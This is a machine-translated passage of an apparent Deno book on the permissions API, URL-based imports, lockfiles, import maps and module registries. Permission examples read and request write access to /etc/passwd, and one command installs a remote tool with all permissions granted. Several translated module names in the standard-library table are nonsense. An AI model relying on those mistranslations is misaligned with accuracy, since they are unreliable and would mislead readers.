$ deno run --unstable --allow-run reader.ts
清单 3-2 中的脚本证明您需要小心使用 allow-run 标志;否则,您可能会在不知情的情况下允许在您的计算机中发生权限提升事件。
正在检查可用权限
在回顾了为了让您的脚本正常工作您可以并且需要使用的所有安全标志之后,可以看到后端的一个潜在的新模式:检查可用的权限,或者我喜欢称之为 CAP。
CAP 的要点是,如果您继续像目前为止为后端项目所做的那样工作,一旦有人试图在没有足够权限的情况下执行您的代码,整个应用就会崩溃。除了 HRTime 之外,Deno 并没有优雅地贬低您没有足够的权限访问其他特性之一的事实,而是直接抛出类型为PermissionDenied
的异常。
如果您的代码能够在尝试执行需要权限的代码之前检查您是否确实被授予了权限,而不仅仅是爆炸,会怎么样?当然,在有些情况下,如果没有它们,您将不能做任何事情,并且您将不得不停止执行,但是在其他情况下,您可能能够优雅地将逻辑降级为仍然能够运行的东西。例如,也许您没有被授予写权限,所以您的日志模块只是将所有内容输出到STDOUT
中。也许没有提供ENV
访问,但是您可以尝试从默认的配置位置读取这些值。
按照目前的情况,这种模式工作所需的代码是实验性的,在未来的更新中可能会有变化,所以您必须使用--unstable
标志来执行它。我指的当然是Deno.permissions
内部的 API,我已经在清单 3-2 中简单展示过了。
回到清单 3-2 ,我展示了在Deno.permissions
路径下目前可用的三种方法中最简单的一种:query
。它还可以用来确保您不仅被授予了特定的权限,而且可以访问特定的位置(就像白名单一样)。例如,清单 3-3 向您展示了如何检查您是否拥有对某个特定文件夹的读取权限。
const status = await Deno.permissions.query({ name: "read", path: "/etc" });
if (status.state === "granted") {data = await Deno.readFile("/etc/passwd");
}Listing 3-3Checking for permissions before trying to make use of them
如果您不想将自己局限于检查某个特定的权限,而是请求一个,因为毕竟您需要它,那么您也可以使用request
方法。这个方法的工作方式与query
类似,但是它不是解析权限的当前状态,而是首先提示用户提供答案,然后和将解析用户选择的任何内容。
const status = await Deno.permissions.request({ name: "env" });
if (status.state === "granted") {console.log(Deno.env.get("HOME"));
} else {console.log("'env' permission is denied.");
}Listing 3-4Requesting permission from the user
清单 3-4 显示,实际上,查询和请求权限的代码是完全一样的(当然减去方法名),虽然输出有点不同;查看图 3-2 ,看看使用请求方法会得到什么。
图 3-2
请求用户的许可
您甚至可以添加额外的参数来验证该组中的特定位置或资源是否可访问。记住,我们已经看到当前支持白名单的权限是读、写和净。
对于前两个,可以使用对象的 path 属性请求对特定路径(文件或文件夹)的权限。对于网络资源,您可以使用 URL 属性。请看清单 3-5 中的例子。
const status = await Deno.permissions.request({ name: "write", path: "/etc/passwd" });
//...
const readingStatus = await Deno.permissions.request({ name: "read", path: "./secret.txt" });
//...
const netStatus = await Deno.permissions.request({ name: "net", url: "http://github.com" });
//...Listing 3-5Requesting for specific access to resources
在所有这三种情况下,显示给用户的消息都将被更新,以指定您想要访问的资源的路径或 URL(参见清单 3-6 中关于用户如何看待它的示例)。
⚠ Deno requests write access to "/etc/passwd". Grant? [g/d (g = grant, d = deny)]⚠ Deno requests read access to "./secret.txt". Grant? [g/d (g = grant, d = deny)]⚠ Deno requests network access to "http://github.com,http://www.google.com". Grant? [g/d (g = grant, d = deny)]Listing 3-6Requesting permissions to specific resources from the user POV
Note
虽然–allow-net 标志不要求您在将域列入白名单时指定 URL 的协议部分,但是为了请求访问它们,您必须提供完整的 URL;否则,你会得到一个错误。
清单 3-6 的最后一行显示,实际上您可以在任何给定时间请求访问多个资源,只要它们属于同一类型。清单 3-7 显示您可以稍后单独查询这些权限,没有任何问题。
const netStatus = await Deno.permissions.request({ name: "net", url: "http://github.com,http://www.google.com" });//...
const githubAccess = await Deno.permissions.request({ name: "net", url: "http://github.com" });
console.log("Github: ", githubAccess.state)const googleAccess = await Deno.permissions.request({ name: "net", url: "http://www.google.com" });
console.log("Google: ", googleAccess.state)Listing 3-7Requesting grouped permissions and querying individually
无论您在第一个问题中回答了什么,稍后都将返回这两个资源。
最后,permissions API 让您做的最后一件事是撤销您自己对特定资源的访问。
同一个对象可以作为一个参数提供,就像其他两个方法一样,结果是取消了对您本可以访问的资源的访问。虽然有点矛盾,但如果您正在构建一些需要对配置更改做出反应的自动化代码,或者可能是某种需要提供和撤销对不同服务的权限的流程管理系统,甚至是覆盖脚本从命令行获得的任何权限,那么它可能是有用的。
Note
最后一部分很重要,因为 request 和 revoke 方法都会覆盖执行过程中使用的任何标志。
因此,如果您试图确保您的脚本(或其他人的脚本)不会被授予不应该拥有的资源的额外权限,这种方法会非常方便。参见清单 3-8 中的示例。
const envStatus= await Deno.permissions.revoke({ name: "env" });
if (envStatus.state === "granted") {console.log(Deno.env.get("HOME"));
} else {console.log("'env' permission is denied.");
}Listing 3-8Revoking access to ENV permanently
当从清单 3-8 中调用脚本时,如果您使用了--allow-env
标志,这并不重要;你不能访问那个环境变量。
结论
在构建其他人会使用的软件时,安全性无疑是一个大问题,以便为他们提供额外的一层“安心”,如果你在围栏的另一边,使用其他人构建的软件。
虽然安全标志机制对于以前从未担心过这个问题的后端开发人员来说可能有点笨拙或尴尬,但它们提供了一种经过尝试和测试的方法,与 CAP(哦,是的,我在这里使用我的名字)相结合,提供了相当好的用户体验。
在下一章中,我们将看到 Deno 如何通过简单地摆脱一切并回到基础来改变依赖管理的游戏,所以下一章见!
四、不再有 NPM
可以说,这是 Deno 引入后端 JavaScript 领域的最有争议的变化:缺少包管理器。老实说,这并不是说他们放弃了对 NPM 的支持,如果你不知道的话,它实际上是 Node.js 的包管理器。这是说他们完全放弃了包管理器的概念,让后端开发人员像浏览器一样处理依赖关系。
这是一个好方法吗?会不会打破整个生态系统,让 Deno 社区崩溃?我现在不告诉你;你得自己去阅读和观察!
这一章有很多东西要解开,我们开始吧,好吗?
处理外部模块
首先:外部模块仍然是一个东西,仅仅因为没有包管理器,并不意味着它们会消失;你还是要和他们打交道。这不仅仅是关于你自己的外部模块;毕竟,任何自尊的语言(或者在这种情况下更确切地说是运行时)都不能希望开发人员在每次开始新项目时突然决定重新发明轮子。存在外部开发的模块,您应该利用这一事实。
这就是为什么 Deno 放弃了require
函数,并采用 ES 模块标准来导入模块。这对你来说意味着什么?嗯,你可能已经见过这种语法了;这并不新鲜,如果你来自前端或者过去使用过 TypeScript,你会看到它,现在你可以写了
import functionname from 'package-url'
根据您需要从模块中提取的内容,functionname
是其中之一,package-url
是一个文件的完全合格的 URL 或本地路径,包括它的扩展名。没错;Deno 和 Node 的创造者 Ryan 决定放弃他在 Node 时代给我们的那个小小的语法方糖,因为现在你可以直接导入 TypeScript 模块。
你没看错。感谢 TS 现在是 Deno land 的一等公民,你再也不用担心为了导入而编译你的模块;您只需直接链接到它们,Deno 的内部组件会处理剩下的事情。
至于被导入的functionname
,也有几种方式来编写,这取决于你在寻找什么以及模块如何导出它的函数。
如果您只是想从模块中导入一些函数,您可以直接提到它们:
import _ from "https://deno.land/x/deno_lodash/mod.ts";
或者您甚至可以使用析构来直接指定您正在寻找的方法名:
import { get, has} from "https://deno.land/x/deno_lodash/mod.ts";
这允许您保持当前名称空间的干净,谁知道您可能会导入和不使用多少名称。这也是让其他人清楚地了解您希望从外部库的使用中获得什么的好方法。
我们还可以做其他事情,比如在赋值期间使用as
关键字重命名导入,或者使用*
字符将整个名称空间直接导入到我们自己的名称空间中(如清单 4-1 所示)。
import * as MyModule from './mymodule.ts'
import { underline } from "https://deno.land/std@v0.39.0/fmt/colors.ts"Listing 4-1Importing modules by renaming or by destructuring assignment
还要注意在我前面的两个例子中,我是如何从外部 URL 导入的。这是至关重要的,因为这是第一次后端 JavaScript 运行时允许我们这样做。我们引用的不是带有这些 URL 的本地模块,而是可能在我们控制范围之外的东西,是其他人在某个地方发布的东西,我们现在正在使用。
这是 Deno 不需要包管理器的关键。它不仅允许您从任何 URL 导入模块,而且还会在您第一次执行时将它们缓存在本地。这些都是自动为你做的,所以你真的不需要担心。
处理包裹
现在,我知道你在想什么:“从偏僻的地方导入模块?谁来确保我得到我需要的版本?如果网址关闭会发生什么?”
这些都是非常有效的问题,事实上,当公告发布时,我们都问过自己,但是不要担心,有答案!
从偏僻的地方进口
如果您来自 Node.js,那么没有集中的包存储库这个事实听起来可能有点可怕。但是如果你仔细想想,一个分散的存储库消除了任何由于技术问题而不可用的可能性。相信我,在 npm 的最初几天,有时整个注册中心都会停机,如果你不得不将某些东西部署到生产环境中并依赖它,那么你就有麻烦了。
当然,现在已经不是这样了,但它也确实是一个私有的仓库,有一天可能会被关闭,这将影响到所有的项目。相反,Deno 试图从一开始就消除这个潜在的问题,并决定选择浏览器路线。毕竟,如果你曾经写过一些前端代码,或者曾经检查过一个网站的代码,你会注意到页面顶部的script
标签,本质上是从不同的位置导入第三方代码。
而且就像浏览器一样,Deno 也会缓存那些库,这样你就不用每次执行脚本的时候都下载了;事实上,除非您特别使用--reload
标志,否则您将不必再下载它们。默认情况下,这个缓存位于DENO_DIR
中,如果没有在系统中定义为环境变量,可以在终端上使用deno info
命令进行查询。例如,清单 4-2 显示了我的本地系统中该命令的输出。
DENO_DIR location: "/Users/fernandodoglio/Library/Caches/deno"
Remote modules cache: "/Users/fernandodoglio/Library/Caches/deno/deps"
TypeScript compiler cache: "/Users/fernandodoglio/Library/Caches/deno/gen"Listing 4-2Output from the deno info command
现在,到目前为止,这至少听起来很有趣,但是考虑一个有数百个(如果不是更多的话)文件的大项目,这些文件从不同的位置导入模块。如果出于某种原因,它们中的一些突然改变位置(也许它们被迁移到不同的服务器上),会发生什么呢?然后,您必须逐个文件地更新来自 import 语句的 URL。这与理想相差甚远,这就是 Deno 提供解决方案的原因。
类似于 Node.js 项目中的package.json
文件,您可以在单个文件中导入所有内容;让我们称之为deps.ts
,并从该文件中导出项目中需要的任何内容。这样,从你所有的文件中,你可以导入deps.ts
文件。这种模式将保留一个集中的依赖项列表,这是对从任何地方直接导入 URL 的原始想法的巨大改进。清单 4-3 展示了一个例子,展示了deps.ts
文件的样子,以及如何从另一个文件中使用它。
//deps.ts
export * as MyModule from './mymodule.ts'
export {underline} from "https://deno.land/std@v0.39.0/fmt/colors.ts"//script.ts
import {underline} from './deps.ts'
console.log(underline("This is underlined!"))Listing 4-3Centralizing the imports into a single file
包版本呢?
在这里,版本控制也是一个值得关注的问题,因为在导入时,您只是指定了文件的 URL,而不是它的版本。还是你?再看清单 4-3;在那里,您可以看到第二个导出语句在 URL 中包含了一个版本。
这就是在基于 URL 的方案中处理版本控制的方式。当然,这不是来自 URL 或 HTTP 的一些晦涩难懂的特性;这只是在包含版本的 URL 下发布您的模块,或者使用某种形式的负载平衡规则从 URL 解析版本,并将请求重定向到正确的文件。
在发布 Deno 模块的同时,真的没有标准或硬性要求让你去实现;您必须确定的是提供某种版本控制方案。否则,你的用户将无法锁定一个特定的版本,相反,他们将总是下载最新的版本,不管它是否适合他们。
Caution
如您所见,Deno 的打包方案比 Node 的要简单得多,这是在前端复制一种已经使用多年的方法的有效尝试。也就是说,大多数后端语言都有一个更明确、也可能更复杂的打包系统,所以如果你希望与他人共享你的代码,就要转而使用 Deno,你必须记得以某种方式将版本包含在 URL 的一部分中,否则你将为你的消费者提供非常糟糕的服务。
虽然这听起来可以理解,但现在的问题是:您真的必须拥有自己的 web 服务器,并以允许您将版本控制方案添加到 URL 中的方式配置它,以便您可以以合理的方式为 Deno 模块提供服务吗?不,你没有。事实上,如果你允许的话,已经有一个平台可以帮你做到这一点:GitHub。 1
如果你不熟悉它,GitHub 允许你发布你的代码并免费与他人分享;它与被称为 Git 的版本控制系统一起工作,在许多地方它几乎是一个行业标准。他们甚至有一个企业版,所以你甚至可以把它用于你公司的内部仓库。
关于 GitHub 有趣的事情是,他们使用包含 Git 标签或 Git 提交散列的 URL 方案来发布你的内容。尽管提交散列并不像人们所希望的那样“对人友好”(即b265e725845805d0c6691abbe7169f1ada8c4645
),但是您绝对可以使用标记名作为包的版本。
为了解释这一点,我创建了一个简单的公共存储库 2 ,并使用四个不同的标签将一个简单的“HelloWorld”模块的四个不同版本发布到 GitHub 中,如图 4-1 所示。
图 4-1
GitHub 上示例模块的标签列表
现在,为了创建标签,你所要做的就是使用清单 4-4 中的git tag
命令。
//... write your module until you're done with its 1st version
$ git add <your files here>
$ git commit -m <your commit message here>
$ git tag 1.0 //or however you wish you name your versions
$ git push origin 1.0Listing 4-4Using Git to tag your module’s code
一旦这一切结束,代码被推送,你就可以进入 GitHub,选择模块的主文件,从屏幕左上象限的分支选择器中选择你想要包含的标签,如图 4-2 所示。
图 4-2
选择您想要的文件版本
一旦你选择了标签(版本),你就可以点击对角的“Raw”按钮(页面代码部分的右上角);这将在没有任何来自 GitHub 的 UI 的情况下打开文件,如果您查看 URL,您会看到版本已经是它的一部分(如果您找不到它,请查看图 4-3 )。
图 4-3
在 GitHub 上获取我们文件的原始 URL
这样做会打开一个类似于 https://raw.githubusercontent.com/deleteman/versioned-deno-module/
4.0
/hello.ts
的 URL(注意粗体部分是 GitHub 添加标签名的地方;您可以更改它来引用其他版本,而不必更改任何其他内容),然后您可以在代码中使用它来导入代码。
在这个过程中有两点需要注意:
-
注意在图 4-3 的代码顶部,我是如何导入一个本地文件的。该文件也会被版本化,因此您不必担心可能存在的任何本地依赖性;如果链接到主模块文件的正确版本,它们都会被正确引用。
-
在这个过程中,您实际上是将您的 Deno 模块发布到一个免费使用的 CDN 中,该 CDN 肯定会一直可用。不需要配置它或支付任何费用,只需担心你的代码和其他任何东西。事实上,由于 GitHub 的所有其他特性,您还获得了一些东西,比如当用户想要报告问题时的票证管理,当其他人想要为您的模块做贡献时的拉式请求控制,等等。尽管有其他的选择,你也可能有自己喜欢的 CDN,但在这种情况下,使用 GitHub 可能是一箭双雕的好方法。
锁定依赖项的版本
理解 Deno 如何处理包的版本很大一部分是理解如何锁定它们。您看,对于任何打包方案,您都希望锁定依赖项的版本,以确保无论您在哪里部署代码,您都将始终使用相同的代码。否则,当部署到生产环境时,您可能会因为下载具有重大更改的模块的新版本而遇到问题。
这实际上是一个非常普遍的情况,没有经验的开发者认为链接到最新版本的包总是最好的;毕竟, latest 总是意味着“更多的 bug 被修复,更多的特性被发布。”当然,这是一种非常幼稚且有潜在危险的方法;毕竟,谁知道问题中的模块会随着时间的推移如何发展,以及哪些特性会被删除。依赖树的一个关键方面是它需要是幂等的,也就是说无论你部署它多少次,最终结果(也就是你得到的代码)总是一样的。
为了实现这个目标,Deno 提供了--lock
和--lock-write
标志。第一个标志让您指定锁文件驻留的位置,而第二个标志告诉解释器也将所有与锁相关的信息写入磁盘。这是你如何使用它们。
为了第一次创建锁文件,您必须使用两者,如下面的代码片段所示:
$ deno run --lock=locks.json --lock-write script.ts
这一行的执行将生成一个 JSON 文件,其中包含树中所需的所有外部依赖项的校验和和版本信息。清单 4-5 展示了该文件的一个例子。
{"https://deno.land/std@v0.39.0/fmt/colors.ts": "e34eb7d7f71ef64732fb137bf95dc5a36382d99c66509c8cef1110e358819e90"
}Listing 4-5Lockfile sample
将该文件作为存储库的一部分,您现在可以安全地部署到生产环境中,并告诉 Deno 对所有正在部署的依赖项始终使用完全相同的版本,如下面的代码片段所示:
$ deno run --reload --lock-file=locks.json script.ts
注意,我在这里添加了一个新的标志:--reload
。这是告诉 Deno 重新加载它的缓存,或者换句话说,使用locks.json
文件作为指导重新下载依赖项。当然,这需要在部署后完成;脚本的后续执行不应该使用--reload
标志。所以你可以做一些我在清单 4-6 中展示的事情,不要把更新缓存和代码的实际执行混在一起。
# Right after deployment
$ deno cache --reload --lock=locks.json deps.ts# Executing your script$ deno run --lock=locks.json script.tsListing 4-6Splitting the actions of updating the cache and executing the code
这里首先要注意的是,在第一行,我只是更新了缓存,没有执行一行代码。事实上,我甚至没有引用我的脚本文件;我引用的是依赖文件(deps.ts
)。这里的第二个细节是,虽然我已经更新了缓存,但我仍然告诉 Deno 用 lockfile 执行脚本,但是为什么呢?
这是因为还有一件事可能出错,这个 lockfile 特性背后的团队也为您提供了一种检查它的方法:如果自从您上次在开发环境中使用它以来,您试图部署的模块版本的代码发生了变化,该怎么办?
有了一个为你控制一切的中央模块库(例如,阿拉 NPM),这不会是一个问题,因为版本会自动更新,但这不是这里的情况。有了 Deno,我们给模块开发者每一盎司的自由去做他们想做的任何事情,当然包括更新代码而不自动改变版本号。
如果与没有提供锁文件的缓存更新操作(即没有使用--lock
标志的deno cache --reload
)相混合,将导致本地缓存与您过去开发时使用的缓存不完全一样。换句话说,您刚刚部署的机器的本地缓存中的代码与本地缓存中的代码并不完全相同,而且应该是相同的(至少是你们共享的模块的代码)。
这就是校验和发挥作用的地方。还记得清单 4-5 中的散列吗?该代码将用于在执行脚本时检查该文件本地版本的哈希。如果两个散列不匹配,您将得到一个错误,脚本将不会被执行(如清单 4-7 所示)。
Subresource integrity check failed --lock=locks.json
https://deno.land/std@v0.39.0/fmt/colors.tsListing 4-7Integrity error for one of the dependencies
清单 4-7 中显示的错误清楚地表明了 lockfile 中的一个依赖项存在完整性问题,然后给出了它的 URL。在这种情况下,它显示了颜色模块的问题。
进行实验:使用导入贴图
到目前为止,显示的所有内容都可以在 Deno 的当前发布版本中开箱即用。但是对于这个特性,我们将不得不使用--unstable
标志,因为这还没有完全完成,并且是一个实验性的特性。
导入映射允许您重新定义处理导入的方式。还记得我之前提到的deps.ts
文件吗?还有另一种简化导入的方法,这样你就不必到处使用 URL,那就是定义这些 URL 和你可以使用的特定关键字之间的映射。
让我用一个例子来解释一下:在 Deno 标准模块的格式化模块中,有两个子模块,colors(我在本章的一些例子中使用过)和 printf。因此,如果您想使用它们,您必须使用两者的全限定 URL 将它们导入到您的代码中。但是有了导入地图,还有另外一种方法;您可以定义一个 JSON 文件,在其中创建我之前提到的映射,类似于清单 4-8 。
{"imports": {"fmt/": "https://deno.land/std@0.55.0/fmt/"}
}Listing 4-8Example of an import map file
这样,您就可以使用清单 4-9 中的代码行导入这两个模块的任何一个导出函数。
import red from "fmt/colors.ts"
import printf from "fmt/printf.ts"Listing 4-9Taking advantage of the import map
当然,这只有在您将--unstable
标志与--importmap
结合使用时才有效,如下所示:
$ deno run --unstable --importmap=import_map.json myscript.ts
如果您来自 Node,那么这种方法一定非常熟悉,因为它与您处理package.json
文件的方式非常相似。
您还可以使用 import map 做其他有趣的事情,例如通过将模块的无扩展版本映射到特定版本,或者为所有本地导入添加前缀,来消除向导入添加扩展的需求。参见清单 4-10 中的例子。
//import_map.json
{
"imports": {"fmt/": "https://deno.land/std@0.55.0/fmt/","local/": "./src/libs/","lodash/camelCase": "https://deno.land/x/lodash/camelCase.js"}
}//myscript.ts
import {getCurrentTimeStamp} from 'local/currtime.ts'
import camelCase from 'lodash/camelCase'
import {bold, red} from 'fmt/colors.ts'console.log(bold(camelCase("Using mapped local library: ")), red(getCurrentTimeStamp()))Listing 4-10Using import mapping to simplify imports from your scripts
在清单 4-10 的代码中,我们有几个导入映射可以提供什么的例子:
-
将 URL 缩短为简单前缀的简化方法
-
一种通过直接映射到模块的首选版本来消除扩展的方法
-
一种简化本地文件夹结构的方法,通过将一个短前缀映射到我们目录结构中一个潜在的长路径
使用导入映射的唯一缺点,除了它还不是 100%稳定的明显事实之外,就是因为这个原因,像 VS Studio 这样的 ide 和它的插件不会考虑它,因此当实际上没有导入时会显示丢失导入的错误。
结论
第四章到此结束;希望到现在为止,您已经认识到缺少集中的模块库实际上并不是一件坏事。有一些简单的变通方法,提供了许多其他系统(如 NPM)为节点开发人员提供的功能,还可以让您对自己的模块做任何想做的事情。
当然,这也带来了额外的风险,即让开发人员随心所欲地使用他们的模块,所以如果您打算与 Deno 社区共享您的工作,请考虑这一点,并在发布您的工作之前采取所有可能的预防措施。
下一章将介绍 Deno 的标准库、一些最有趣的模块,以及如何在 Deno 代码中重用节点社区中其他人的工作,而不必重新发明轮子。
五、现有模块
到目前为止,我们已经介绍了 Deno 引入 JavaScript 生态系统的每一个重大变化,现在是时候回顾一下您已经可以用它做的事情了。
不要误会我;你可以用它做任何你想用 Node.js 做的事情。你可能知道,NPM 有几乎同样多的用户发布的数百万个模块,虽然这些代码是 JavaScript,但它并不是 100%与 Deno 兼容,所以我们不能像 11 年前一样重复使用这些工作。
也就是说,Deno 的标准库已经很强大了,从第一天开始,就已经有用户将模块从 Node 移植到 Deno,以使它们兼容,所以我们有很多工具可以使用。
在这一章中,我将介绍其中的一些,以便向您展示虽然这个新的运行时还不到一年,但是您可以用它来做一些非常有趣的项目。
Deno 标准:标准库
让我们从安装 Deno:标准库的第一天就提供给我们的模块开始。这实际上非常重要,因为对 Ryan 来说,Node.js 有一个非常糟糕的标准库,并且缺少任何人开始做相关事情所需的大多数基本工具。作为在 2012 年左右开始在 0.10 版本上使用 Node 的人,我可以确认,在存在 3 年之后,Node.js 没有真正的标准库。它的重点是为后端开发人员提供异步 I/O,但仅此而已;整个开发人员的体验并不好,尤其是与今天的标准相比。
不过这不是问题,因为 Node 越受欢迎,就有越多的用户将他们可用的基本构建模块编译成更有用的库,并开始通过 NPM 共享。尽管 Deno 已经有了相当多的社区,并且他们开始编写新的库或者将现有的库移植到这边,但是这些数字还不能比较,至少现在还不能。
现在回到性病,因为这是我们在这里要讨论的。正如我在第一章中提到的,这种最初的功能分组部分受到了 Go 及其标准库的启发,所以如果在 Deno 的未来更新中,他们继续从那里移植更多的想法,我不会感到惊讶。但是到目前为止,Deno 的标准库包含 21 个稳定的模块,一个实验性的模块,以及一些已经可供您查看的示例。
表 5-1
Deno 标准库包含的所有模块的列表
|组件
|
描述
|
| --- | --- |
| 档案馆 | 归档功能,在撰写本书时,它为您提供了归档和解压缩文件的能力。 |
| 异步ˌ非同步(asynchronous) | 处理异步行为的工具集。我不是在谈论承诺或异步/等待;这些是语言本身的一部分。这里有一些东西,比如选择代码执行延迟时间的延迟函数,或者将 resolve 和 reject 函数作为方法添加到 promise 中。 |
| 字节 | 操作字节的低级函数集。如果你不这样对待二进制对象,它们将需要更多的工作;这些功能将帮助您简化这项任务。 |
| 日期时间 | 一些辅助函数和一些字符串解析函数,帮助您在字符串和日期对象之间架起一座桥梁。 |
| 编码 | 非常有用的模块来处理外部数据结构。还记得 JSON 结构是如何获得 JSON 全局对象的吗?嗯,在这里您可以添加对 YAML,CSV 和其他几个的支持。 |
| 旗帜 | 命令行参数分析器。如果您正在构建一个 CLI 工具,就不再需要导入一个模块来完成这项工作;你已经有了。这显示了一个经过深思熟虑的标准库的威力。 |
| 滤波多音 | 文本格式化功能。如果console.log
对你来说还不够,这个模块有你所需要的一切来增加你的控制台消息的活力。 |
| 满量程 | 额外文件系统功能。我们不是在谈论只是读写一个文件;这可以直接从 Deno 名称空间完成。我们正在讨论使用通配符作为路径的一部分,复制文件和文件夹,移动它们,等等。注意:在撰写本文时,这个模块被标记为不稳定,所以你需要--unstable
标志来访问它。 |
| 混杂 | 该库增加了对创建和处理 10 多种用于创建散列的算法的支持。 |
| 超文本传送协议(Hyper Text Transport Protocol 的缩写) | HTTP 相关的函数。如果你试图创建一个 web 服务器(例如,在一个微服务上工作,一个单一的 web 应用,或者介于两者之间的东西),在这里你可以得到你所需要的一切。 |
| 木卫一 | 这是 Deno 处理流的模块,当然包括标准输入的模块。这意味着,如果您希望从用户那里请求输入(当然,除了其他事情之外),这就是您要使用的模块。 |
| 原木 | 这个模块是 Deno 拥有非常完整的标准库的证明。有多少次你不得不在 Node 中实现你自己的记录器?或者为你的项目寻找最好的伐木工?相反,Deno 已经有一个非常完整和灵活的供您使用,而不必出去寻找任何东西。 |
| 哑剧 | 一组专用于处理多部分表单数据的函数,包括读取和写入。 |
| 结节 | 这是一个与 Node.js 的标准库兼容的模块。它为一些最常见的节点功能(如 require 或 events)提供了聚合填充。如果你想把代码从节点移植到节点,这是一个你想回顾的模块;不然真的没什么用。 |
| 小路 | 用来处理路径的一组经典函数,例如从路径中获取文件夹名,或者提取一组不同路径的公共路径等等。 |
| 许可 | 一个小模块,用来授予你的脚本权限。它要求使用--unstable
标志。它与上一章描述的Deno.permissions
API 非常相似。 |
| 信号 | 提供一个 API 来处理进程信号。这是一个相当低级的 API,但它允许您处理 SIGINT 和 SIGTSTP 之类的信号。 |
| 测试 | 就像日志模块一样,这次 Deno 也为您提供了创建测试套件所需的一切。 |
| 全局唯一识别 | 以前需要创建一个唯一的 ID 吗?本模块将帮助您使用 UUID 标准支持的不同版本(1、3、4 和 5)之一创建一个。 |
| 艾德 | WebAssembly 系统接口(WASI)的实现,可用于编译 WASM 代码。 |
| 《华盛顿明星报》 | 我们在列表中遗漏了一样东西:WebSocket 支持。 |
表 5-1 对标准模块进行了快速概述;它们都在不断发展,但同时,由于它们作为 Deno 生态系统的一部分发挥着至关重要的作用,它们由核心团队直接审查。就像任何开源项目一样,您可以发送您的贡献;只要明白他们不能有任何外部依赖。
外部模块
正如我已经提到的,Deno 的用户定制模块生态系统还不能与 Node 的相比,因为它已经存在了很长时间。也就是说,机构群体正在做大量工作来弥合这一差距。
毕竟,现有的每个节点模块都是用 JavaScript 编写的,只是风格略有不同,所以翻译是可行的。这只是需要时间,尤其是当你要翻译的模块有依赖项时,因为你也必须翻译那些依赖项。
自 Deno 发布以来,已经部署了一些解决方案,以便通过某种形式的单一位置浏览和查找模块(阿拉 NPM 网站),或者通过跟踪 URL 或者直接存储所有内容。
我将快速介绍最近部署的两个主要存储库,您可以使用它们来了解已经有哪些可供您使用的存储库。
官方名单
Deno 的网站( http://deno.land
)提供免费的 URL 重写服务,你可以贡献你的链接到列表中。基本上,他们会在他们的网站上列出你的模块(目前,已经有超过 700 个模块被显示)并重定向到它们。这个注册中心的数据库目前是一个 JSON 文件,您必须对其进行编辑并发送一个 Pull 请求。
就个人而言,我不认为这是非常可扩展的,所以我假设在不久的将来他们会提供另一种方式来更新列表并向其中添加您自己的模块。
但是现在,创建这个列表的方法是向这个存储库发送一个 Pull 请求: https://github.com/denoland/deno_website2
,具体来说是对名为database.json
的文件的修改,这个文件可以直接在那个 repo 的根文件夹中找到。
文件的格式见清单 5-1;如您所知,没有太多的字段可以提供,尽管没有关于它的官方文档,但您可以看到它足够简单。
{
//...
"a0": {
"type": "github",
"owner": "being-curious",
"repo": "a0",
"desc": "A command line utility to manage `text/number/email/password/address/note` with Alias to easy recall & copy to clipboard.",
"default_version": "master"
//...
}Listing 5-1Sample section of the database.json file
在deno.land/x
可以看到储存库,看起来像图 5-1;本质上,你得到一个基本的搜索框,可以过滤超过 700 个已发布的模块。
图 5-1
Deno 的官方模块库
如果您将分支机构名称作为 URL 的一部分添加,该重定向规则也会考虑到它的创建方式。如果这样做,它会向该分支发送流量;否则,它会认为你的目标是主分支。作为我在第四章中提到的使用标签的替代方法,你也可以使用分支名称作为你的版本号,由于这个有用的重定向,这也可能对你有利。有了它,你可以写一些类似 http://deno.land/x/your-module@1.4/
的东西,这将把流量重定向到你在 GitHub 的账户(假设这是我们正在谈论的你的模块),在它里面,到那个模块的文件夹,在它里面,特定的分支称为 1.4。
最酷的是,您可以使用这个方法从代码中导入模块。记住,这只是一个重定向服务;实际的文件存储在你放的任何地方,在这种情况下,它将是 GitHub 自己的服务器。
同样,这不是集中式存储库的替代品,而仅仅是一个搜索将不断增长的分散模块海洋的伟大工具。
凭借区块链的力量
第二个,也是最有希望找到 Deno 模块的平台是 nest.land。虽然与之前的服务不同,这个平台也存储你的代码,但它没有使用常规平台,而是使用区块链网络。
这是正确的;通过使用区块链的力量,这个平台不仅为你的模块创建了一个分布式存储,而且是一个永久的存储。通过这个平台和发布你的模块,你将它们储存在 Arweave perma web1中,从技术上讲,它们将永远存在于此。所以移除模块是不可能的,这在发布模块时已经提供了比任何其他选项更大的优势,因为模块可能被意外移除的事实是依赖外部包的最大风险之一。
这个平台的缺点是它还没有前一个平台受欢迎,所以没有很多包在那里发布。图 5-2 展示了他们主页的样子。
图 5-2
图库,列出已发布的模块
为了导入存储在该平台中的模块,您将从网站获得一个 URL,您可以从您的代码中使用它,它们都遵循相同的模式: https://x.nest.land/
<module-name>@<module-version>/mod.ts
例如,模块 Drash, 2 是一个 HTTP 微框架,可以使用以下 URL 导入: https://x.nest.land/deno-drash@1.0.7/mod.ts
。
另一方面,如果您希望在这个平台上发布您的模块,那么您必须安装他们的 CLI 工具(称为 egg)。为了做到这一点,您至少需要 Deno 的 1.1.0 版本,使用下面的命令,您应该能够安装它:
deno install -A -f --unstable -n eggs https://x.nest.land/eggs@0.1.8/mod.ts
请注意,您提供了所有特权(使用-A 标志),并且还通过使用--unstable
标志授予了使用不稳定特性的权限。
一旦安装完毕,您就必须使用eggs link --key [your key]
链接您的 API 密钥(您应该在注册后获取、下载并存储在您的本地存储中)。
通用安装说明到此结束;之后,你必须进入你的模块的文件夹,并使用egg init
初始化它(就像你用npm init
一样)。
在初始化过程中,您会被问到几个关于项目的问题,比如名称,如果是模块的不稳定版本的描述,要发布的文件列表,以及配置文件的格式(JSON 或 YAML)。
配置文件的格式类似于清单 5-2 中的格式。
{"name": "module-name","description": "Your brief module description","version": "0.0.1","entry": "./src/main.ts","stable": true,"unlisted": false,"fmt": true,"repository": "https://github.com/your_name/your_project","files": ["./mod.ts","./src/**/*","./README.md"]
}Listing 5-2Sample configuration file for nest
尽管这看起来像是 Node 中受人喜爱的package.json
的一个副本,但事实上并非如此。这个文件是简化显示信息和管理包的任务所必需的,但是它不包括额外的信息,例如依赖项列表,也不包括项目范围的配置或命令。因此,尽管它仍然添加了一个配置文件,但您并没有将所有内容都集中到一个充满不相关内容的文件中。
有了这个文件,剩下要做的就是发布你的模块,你可以用命令egg publish. A
来完成,之后,你就可以在库中看到你的模块,它将永远存在(或者至少直到 permaweb 被关闭)。
要查看的有趣模块
为了结束这一章,我想介绍一些你可能感兴趣的模块,这取决于你想用 Deno 实现什么。
当然,没有什么可以阻止你使用其他模块,但至少它会给你一个起点。
API 开发
